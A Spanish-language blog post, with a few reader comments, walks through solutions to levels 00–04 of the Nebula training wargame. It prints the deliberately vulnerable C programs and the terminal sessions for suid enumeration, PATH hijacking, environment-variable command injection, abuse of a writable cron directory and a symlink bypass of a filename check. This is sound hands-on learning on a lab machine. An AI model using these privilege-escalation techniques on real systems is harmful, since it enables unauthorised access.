Durante los días de vacaciones que he tenido recientemente, encontré algunos ratos para empezar a trastear con los entornos de exploit-exercises.com. Por el momento he resuelto el primer entorno completo (Nebula) y he comenzado con el siguiente (Protostar). La verdad es que ha sido entretenido, aunque el nivel de los ejercicios de Nebula es por lo normal sencillo, ha habido dos o tres niveles que han resultado cuanto menos curiosos. En las siguientes entradas iré poniendo mis soluciones a los 20 niveles de Nebula.
Nivel 00:
Este nivel introductorio consiste en localizar un binario suid y ejecutarlo para pasar al siguiente nivel. Podríamos ponernos a husmear por los directorios a ver si vemos algo sospechoso, pero es bastante más sencillo encontrar todos los binarios suid y filtrar los resultados:
find / -type f -perm +4000 -exec ls -l {} \; > suid.list
Simplemente ejecutamos el fichero /bin/…/flag00 (fiajos en el punto adicional) y comprobamos que hemos superado el nivel adecuadamente.
level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ getflag You have successfully executed getflag on a target account
Nivel 01:
Este nivel tien una vulnerabilidad en el código, muy sencilla de ver y explotar. El código es el siguiente:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
El problema es la llamada al comando “echo” sin especificar ruta absoluta. Una solución para este nivel sería:
- Crear un fichero llamado “echo” (sin las comillas) en nuestro directorio home, conteniendo el código que queramos ejecutar. En este caso, el comando getflag para pasar de nivel.
- Añadir nuestro directorio home a la variable PATH en primer lugar, para asegurar que el programa level01 busca el binario echo en nuestro home antes que en cualquier otro lugar.
level01@nebula:~$ cat - > "echo" #!/bin/sh getflag ^C level01@nebula:~$ export PATH=.:$PATH level01@nebula:~$ chmod +x echo level01@nebula:~$ /home/flag01/flag01 You have successfully executed getflag on a target account
Nivel 02:
El problema del siguiente código es que la variable de entorno USER no está controlada, permitiendo inyección de comandos.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
Exportamos la variable con el comando deseado, y ejecutamos el binario.
Nivel 03:
Este nivel no tiene ningún misterio, simplemente existe un directorio en /home/flag03 en el que podemos escribir. Además, hay una tarea cron que cada pocos minutos ejecuta todos los contenidos del directorio /home/flag03/writable.d/. Tan sólo necesitamos crear nuestro programa en dicho directorio.
Nivel 04:
Éste también es muy sencillo. El código protege el acceso al fichero “token”, simplemente comprobando que el nombre de fichero que le pasamos por parámetro no contiene la cadena “token”.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
Sin embargo, no se controla la existencia de enlaces simbólicos hacia dicho fichero.
level04@nebula:~$ /home/flag04/flag04 token You may not access 'token' level04@nebula:~$ ln -s /home/flag04/token trampa level04@nebula:~$ /home/flag04/flag04 trampa 06508b5e-8909-4f38-b630-fdb148a848a2
Más en la próxima entrada.
¡Salud!
Te dí las gracias ayer por la entrada de conversión de ova a vmx.
Y ahora me he liado a darle a ratos. El level04 no se me ha ocurrido esa forma 🙂
Pero yo he tenido que crear el enlace simbólico en /tmp porque en la carpeta no tenemos permisos…..
Mañana a por los siguientes!
Vale, lo creas en ~
Sí, lo creo en mi home. Ánimo con ellos, yo a ver si sigo con los de Protostar, que los tengo parados ahora mismo.